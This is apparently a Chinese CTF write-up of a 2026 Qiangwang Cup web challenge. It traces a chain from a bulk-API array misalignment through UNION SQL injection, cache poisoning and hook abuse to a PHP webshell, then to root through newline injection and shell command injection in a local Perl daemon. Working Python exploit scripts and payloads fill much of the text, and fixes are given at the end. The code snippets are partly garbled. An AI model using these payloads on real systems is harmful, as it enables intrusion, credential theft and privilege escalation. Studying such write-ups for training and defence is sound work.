2026 强网杯 Web 题 cwp · 全链路复盘

一次 bulk 请求,我从 SQL注入一路打到 root

主播最近都在打各个比赛至少十余场总算有个空闲写一篇文章

题型:Web / 100 分 / 容器靶机

关键词:数组错位 · SQL 注入 · 缓存污染 · 会话伪造 · 提权

声明:环境、凭据与 flag 均已脱敏,仅供学习交流

题目附件 8 个 PHP 文件,干净得像教材:输出全转义、id 强转 int、PDO 关闭模拟预处理、禁用多语句;数据库账号既没有 FILE 权限也没有 EXECUTE 权限,连 INTO OUTFILE 都直接报 1045。看上去,这是一道"无懈可击"的 Web 题。

但整道题的突破口,只有一个藏在批量接口里的数组下标错位。靠着它,我们先后绕过了参数清洗、verb 白名单、权限校验三道防线,把一个只读 SQL 注入一步步升级成 root 会话,最终在 /root/flag.txt 前收工。这篇文章把整条链拆开讲给你看。

|-------------------------------------------------------------------------------------------------------------------------|
| 一句话攻击链 bulk_engine 数组错位 → 绕清洗拿到 SQL 注入 → 缓存污染伪造数据 → hooks 借来 staff 身份 → skin-editor 拿下 www-data → hpxd 会话注入提权 root。 |

下面正式开始。先看题面:

表 1 题目信息

|-----------------|---------------------------------------------|
| 赛题 | 2026 强网杯线上赛 Web 题 cwp(题号略) |
| 分值 | 100 分 |
| 环境 | Ubuntu + Apache + PHP + MariaDB,容器靶机(地址已脱敏) |
| 目标 | /root/flag.txt(flag 内容已打码) |
| 96be 度点 | 无 FILE / 无堆叠 / 无文件上传,附件源码几乎无注入点 |

01|打点与源码审计:一块看起来没洞的蛋糕

先看环境。靶机是 Ubuntu + Apache + PHP + MariaDB 的组合,站点代码放在 /var/www/site,上传目录 /var/www/uploads/skins 对 www-data 可写,而且 Apache 会执行其中的 PHP------记住这个设定,它在文章后半段有重要作用。

权限卡得很死:DB 用户(10 位随机 hex 用户名)无 FILE,LOAD_FILE() 返回 NULL、INTO OUTFILE 报 1045;无 EXECUTE;PDO 配置 EMULATE_PREPARES=false、MULTI_STATEMENTS=false,就算注入打穿了也只能 SELECT/UNION,没有堆叠。supervisord(PID 1,root)托管着 apache2、mariadb,还有一个以 root 运行的 Perl 进程 smrtmond.pl------这是最后的提权伏笔。

附件 8 个文件里,index/article.php 输出全转义、id 强转 int;feed.php 单路由分发;manage.php 需要 staff 会话;storage.php 只有 PDO 配置。唯一值得多看两眼的是 engine.php 与 bulk.php 组成的批量接口:POST /bulk.php 提交一个 ops 数组,最多 25 个操作,顶层 verb 只允许 POST/PUT/PATCH/DELETE。

还有一个细节:线上 fuzz 出了附件里不存在的 /api/archive 与 /api/comments/recent 两条只读路由,说明部署版源码比附件多了东西。后续用 webshell 拉回部署版逐行核对,核心逻辑一致,但这个"附件与线上有差异"的信号,从第一天就提醒我们别把附件当成全部。

02|漏洞核心:bulk_engine 的数组下标错位

engine.php 里的 plan_batch 维护着两个平行数组:matched** 存每个 op 绑定的路由 handler,**checked 存清洗后的参数。问题出在两边的编号规则不一致------matched 只对"成功的 op"紧凑编号,而且在 op_check 之前就 push 进去了;执行循环遍历的却是"全体 op",拿全体下标 i 去取 matched\[i]。

|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| ▸ engine.php · plan_batch / bulk_engine (有删减) function plan_batch(queue) { matched = \[\]; checked = \[\]; has_err = false; foreach (queue as op) { if (isset(op\["err"\])) { // 失败 op:只进 checked,不进 matched has_err = true; checked\[\] = op; continue; } bind = route_bind(op); matched\[\] = bind; // matched 按成功 op 紧凑编号 // ... op_check 按各自 route 规格清洗参数,结果写入 checked } return \[matched, checked, has_err]; } function bulk_engine(items, policy) { // ... foreach (queue as i => op) { // i 是全体 op 的下标 // BUG:matched 按成功 op 编号,这里却按全体下标取 bind bind = isset(matched$i) ? matched\[i] : null; results\[\] = op_respond(verdict"op", $bind"handler"); } } |

只要队首放一个 parse_url() 返回 false 的 op(route 写成 //、/// 都行),后续每个 op 就会和"下一个成功 op"的 handler 配对:参数按自己路由的规格清洗,执行时却调用了别人的 handler。错位带来三个直接后果:

  1. 绕过参数清洗 :/api/stats/summary 的规格是 args=\[\],不清洗任何参数;把它错位到 exec_articles_list 上,本该被强转成正整数数组的 omit 就以原始字符串进入了查询。
  2. 绕过 verb 白名单与 bulk 禁令 :/api/bulk 在路由表里 bulk=>false,直接作为 op 调用会被它自己的 op_check 拒绝,但它的 bind 仍会占据 matched 的位置;让别的 op 错位到它上面就能调起 exec_bulk,而 exec_bulk 内部不再检查 verb------顶层被禁的 GET,在内层随便用。
  3. 错位 op 永远轮空:n 个成功 op 加 1 个失败 op,最后一个成功 op 的 $matchedn 不存在,返回 route_no_handler。这个特性看似是损耗,后面恰恰要靠它做一次精准的"延迟执行"。

03|从错位到注入:omit 参数的越狱

exec_articles_list 会把 omit 参数映射成 owner_not_in,交给 lib.php 的 posts_lookup:

|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| ▸ lib.php · posts_lookup (有删减) if (!empty(spec\["owner_not_in"\])) { if (is_array(spec"owner_not_in")) { // 数组才做 absint 清洗 spec\["owner_not_in"\] = array_map("absint", spec"owner_not_in"); } ids = implode(",", (array)spec"owner_not_in"); // 字符串 -> 原样拼接 conds\[\] = "owner NOT IN (ids)"; // <- 注入点 } |

正常请求里 omit 会被 id_list 规格转成整数数组;错位后它以字符串到达,跳过所有清洗,直接拼进 SQL。于是构造一次双层错位的批量请求:外层让 comments op 错位到 /api/bulk 的 handler 上实现嵌套,内层让 stats op 错位到 articles 的 handler 上携带 payload,omit 直接换成 UNION 语句,就能 dump 任意表。

|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| ▸ payload_omit.py · 双层错位构造 UNION 读原语 def run(omit, timeout=25): inner = {"route": "//"}, # parse_url 失败 -\> 制造错位 {"route": "/api/stats/summary", "verb": "GET", "data": {"omit": omit}}, # args=\[:不清洗任何参数 {"route": "/api/articles", "verb": "GET"}, # 占位:承接错位 handler ] outer = {"route": "//", "verb": "POST"}, {"route": "/api/articles/1/comments", "verb": "POST", "data": {"ops": inner}}, # 错位调起 exec_bulk {"route": "/api/bulk", "verb": "POST"}, # 自身被拒,bind 占位 r = requests.post(B + "/bulk.php", json={"ops": outer}, verify=False, timeout=timeout) return r.json()"results"11 # 外层嵌套 bulk 的注入结果 omit_read = ("1) UNION ALL SELECT id,login,secret,login,'e'," "NOW(),'x','y',0,0 FROM staff_accounts -- -") print(run(omit_read)) # -> 随机 hex 登录名 + bcrypt 哈希 |

staff_accounts 表里躺着 staff 账号:登录名是 10 位随机 hex(已打码),secret 是 bcrypt 哈希。没有 FILE、没有堆叠,写库无门;密码也不可爆破------只读注入到这里似乎撞墙了。真正的转折在于:这个系统会把查询结果缓存下来。

04|只读注入的破局:把假数据写进缓存

posts_lookup 有个进程内 ROW_CACHE:查询结果的每一行都会 cache_remember 进缓存。也就是说,UNION 注入伪造的行,同样会被当成正经文章写进缓存。紧接着 exec_articles_list 会对每一行调 entry_fetch------恰好命中刚污染的缓存------如果行的 snap_stale 字段为 1,就触发 snapshot_write。

|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| ▸ lib.php · 缓存污染链(有删减) // posts_lookup:结果行(含注入的伪造行)逐行写进进程内 ROW_CACHE rows = rows_all(sql, args); foreach (rows as r) { cache_remember("entries", (int)r"id", r); } // exec_articles_list:对 snap_stale=1 的行执行 snapshot_write foreach (rows as r) { full = entry_fetch((int)r\["id"\]); // 命中刚污染的缓存 if (full && (int)full\["snap_stale"\] === 1) { snapshot_write(full); // 用缓存行 UPDATE 真条目并触发 hook } } |

snapshot_write 做两件事:用缓存行 UPDATE 真实条目,然后以 status_kind 的格式触发钩子------status 和 kind 全部来自注入行,也就是说,hook 名完全可控。SELECT 的 10 个列序(id/title/slug/owner/excerpt/created_at/status/kind/parent/snap_stale)与伪造行一一对应,我们等于拿到了一次"以缓存行内容为参数的写操作 + 任意钩子调用"。

这就是这道题最精彩的设计:只读注入通过缓存污染获得了二次写入能力,而写入动作又恰好是钩子系统的入口。

05|三行钩子,借来一个 staff 身份

HOOKS 表里挂着三个钩子,串起来就是完整的越权链:hook_changeset_promote 把缓存行的 title/content/owner 当作 setting_key/value/author_login 插入 site_changesets 并发布;changeset_publish 在 author_login 通过 staff 校验后,把全局 PUBLISH_AS 设为该登录名;而 staff_session_valid 的第一个分支是"publishing_as() 非空且是 staff 就直接放行"------等价于一张 staff 会话。

于是构造两行伪造 entry:

|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| ▸ SQL · 伪造两行 entry 的 omit payload 1) UNION ALL SELECT 5,'q','s','<staff_1>','e',NOW(), 'pending','changeset',0,1 UNION ALL SELECT 7,'q2','s2','x','e',NOW(), 'api','reload',0,1 -- - -- 行1:挂到真实 draft(id=5),owner=<staff_1> -- -> changeset 钩子发布后 PUBLISH_AS = <staff_1> -- 行2:凭空捏造(id=7) -> api/reload 触发 ops_run_all 干净重放 |

第一行挂在真实 draft(id=5)上,status/kind 设为 pending/changeset,owner 填上面拖库拿到的 staff 登录名------它触发钩子替我们设好 PUBLISH_AS;第二行凭空捏造(id=7),设为 api/reload------hook_api_reload 会置 HOOK_RUNNING=1,然后 ops_run_all 把当前内层 op 列表"干净地重放"一遍:无错位,每个 op 与自己的 handler 正确配对。

把两层错位和两行伪造 entry 组装到一个请求里:

|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| ▸ pwn_cwp.py · 一次 bulk 请求完成建号 STAFF_LOGIN = "<拖库得到的 staff 登录名>" NEW = {"login": "ctfuser01", "pass": "P@ssw0rd!"} omit = ("1) UNION ALL SELECT 5,'q','s','%s','e',NOW()," "'pending','changeset',0,1 " "UNION ALL SELECT 7,'q2','s2','x','e',NOW()," "'api','reload',0,1 -- -") % STAFF_LOGIN inner = {"route": "//"}, # 1 错位开关 {"route": "/api/stats/summary", "verb": "GET", "data": {"omit": omit}}, # 2 SQLi 载体 {"route": "/api/articles", "verb": "GET"}, # 3 占位 {"route": "/api/users", "verb": "POST", "data": NEW}, # 4 重放时执行 outer = {"route": "//", "verb": "POST"}, {"route": "/api/articles/1/comments", "verb": "POST", "data": {"ops": inner}}, # -\> exec_bulk {"route": "/api/bulk", "verb": "POST"}, requests.post(B + "/bulk.php", json={"ops": outer}, verify=False) # followup 出现 {"created": true} -> staff 账号到手 |

时序刚刚好:首轮里 /api/users 因错位轮空(route_no_handler),什么都没发生;重放期间 HOOK_RUNNING=1,exec_articles_list 尾部不会清除身份,/api/users 就在 PUBLISH_AS 的生效窗口内以 staff 权限执行。一次 POST /bulk.php,响应的 followup 里出现 {"created": true}------我们有了自己的 staff 账号。

06|拿下 www-data:skin-editor 一发入魂

用新账号走 /api/login 拿到 staff cookie,manage.php 的 skin-editor 功能允许提交 skin 名称与代码:名称只要满足 ^a-z0-9a-z0-9-_{0,40}$ 就会把内容写进 /var/www/uploads/skins/<name>.php。还记得第 01 节的伏笔吗------上传目录 www-data 可写,且 Apache 执行 PHP。一段读 flag 附带命令执行的小木马落进去,GET /uploads/skins/pwxxxxx.php 直接回显 uid=33(www-data)。

但 cat /root/flag.txt 返回 Permission denied。SUID、capabilities、cron 全是 Ubuntu 标准件,sudo 甚至不存在。webshell 翻 ps auxww:root 进程只有一个 Perl 守护进程 smrtmond.pl(hpxd 4.17.29),监听 127.0.0.1:9443/9444/9446/9447 四个端口。提权的靶子浮出水面。

07|提权 hpxd:两个换行符换来 root

端口语义先分清:9443/9444 是用户口,未认证时对任何路径都回同一张登录页(200,308 字节),在上面 fuzz 全是假象;9446/9447 是管理口,GET /ops/code 无需认证直接返回 hpxd 完整 Perl 源码------21KB,整个守护进程的逻辑摊开在你面前。

审计源码,三处缺陷排成一条通路。其一,会话以 k=v 文本存储,vault_put 写入时不过滤值里的换行符 ,值含 \n 即可注入任意 k=v 行;其二,HTTP Basic 分支从 base64 解出用户名密码后原样写入会话 ,表单分支的清洗函数根本没被调用;其三,只要回传 Cookie 时故意不带逗号后的 scramble 部分,注入值不经 XOR+base64,明文落盘。

vault_is_master 的判定需要 master_flag=1、otp_done=1、login=root、sudo_until 大于当前时间------四个字段全部可以通过换行注入伪造。还有个小坑:vault_fetch 有缓存,Basic 注入的当次响应读到的还是旧数据,必须先访问一个错误 zone 的路径触发 vault_rescan,注入行才生效。最后,master 通过后的 /hx_<zone>/files/list 用 sh -c 拼接命令,$dir 只过滤控制字符------分号要 URL 编码成 %3B,其他随便放。

|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| ▸ pwn_hpxd.py · 4 个请求完成 root 提权(打 127.0.0.1:9446 ) # A. 建会话取 token(此后故意不带 scramble) st, hd, _ = req("GET", "/") token = hd.get("Set-Cookie","").split("hpx_id=")1.split(",")0 # B. Basic 认证即换行注入;307 的 Location 泄露 zone inj = "root\nmaster_flag=1\notp_done=1\nsudo_until=9999999999" st, hd, _ = req("GET", "/", cookie="hpx_id=" + token, auth=inj + ":x!") zone = hd.get("Location","").strip("/").split("/")0 # C. 访问错误 zone -> 触发 vault_rescan,注入行进入会话缓存 req("GET", "/hx_0000000000/zz", cookie="hpx_id=" + token) # D. files/list 用 sh -c 拼 $dir,只滤控制字符(分号须 %3B) p = urllib.parse.quote("/;id;cat /root/flag.txt;echo END", safe="") st, hd, body = req("GET", "/%s/files/list?path=%s" % (zone, p), cookie="hpx_id=" + token) # uid=0(root) ... flag{****}END |

四个请求全部打 127.0.0.1:9446(通过 webshell 把脚本 base64 落到 /tmp 用 python3 跑),id 返回 uid=0(root),flag 到手(已打码)。从 www-data 到 root,只用了两个换行符和一次故意的误操作。

08|全链路复盘与修复建议

图 1 cwp 攻击链全景

回头看,这条链上没有一个"惊天大洞":错位是下标管理失误,SQLi 是一处 is_array 分支的疏忽,越权是钩子系统对全局身份的轻信,提权是会话存储对换行符的不设防。单拎出来每个都好修,串在一起就是从匿名到 root 的完整通路。给开发者三条修复建议:

  1. plan_batch 给失败 op 也压入占位 bind,或用独立成功计数器索引 $matched,让"清洗时的下标"与"执行时的下标"永远一致;
  2. owner_not_in 一律强转 int 数组再拼接,拒绝字符串直拼;缓存写入路径要区分可信数据与查询结果,钩子触发前重新校验 status/kind;
  3. hpxd 的 vault_put 过滤值内换行、Basic 分支同样过 sess_value_clean、files/list 改用多参数免 shell 调用------任一条都能断链,全选最稳。

强网杯已经被各位师傅彻底打服了,我还是那句话,人生辉煌,各自精彩,不应该在这里硬熬消耗。仔细想想你多久没陪爸爸妈妈好好的聊聊天了,多久没有去游历山水了,多久没有听身边人说说心里话。就拿密码vm题来说,爆破出来几百个flag恶心你。强网组委会只是下发比赛规则到开赛直接放出题目,陷阱flag、动态附件、动态提示、动态flag。所有的内容都是我赛前没见过的。反正我是ai小子,我要弃赛了

最后留个思考题:这道题的 payload 从头到尾只用了两个"合法功能"的组合------批量接口和皮肤编辑器。下次审计时不妨多问一句:这两个功能叠在一起会发生什么?欢迎在评论区聊聊你的思路。

相关推荐
麦麦麦当劳大王9 小时前
【油猴脚本】Boss直聘 岗位职责复制
开发语言·前端·javascript
小lu飞10 小时前
2026小红书小工具怎么制作:纯前端 ZIP 打包、沙箱限制与笔记挂载流程
前端·笔记·ai·ai编程
smallcelebration10 小时前
151 从0开始搭建后端项目
前端·firefox
wangruofeng10 小时前
手机和电脑传文件,除了微信还有 LocalSend
前端
excel11 小时前
基于 GPT 的自动发布文章接口方案:从一句话或一张图片生成并发布内容
前端·javascript·后端
anew___12 小时前
《从零手写操作系统 (63):安全与加固——从内核保护到沙箱隔离》
网络·安全
其实防守也摸鱼12 小时前
个人学习 Pwn 思路:从基础到漏洞利用的进阶路径
大数据·前端·人工智能·chrome·算法·安全·网络安全
朱涛的自习室13 小时前
212 个需求、22 万行代码:Agent 接管开源项目的 19 天
android·前端·人工智能
aZhe的全栈知识分享13 小时前
AI 还原 Figma 效果总达不到预期?先别急着让它写代码
前端·后端·面试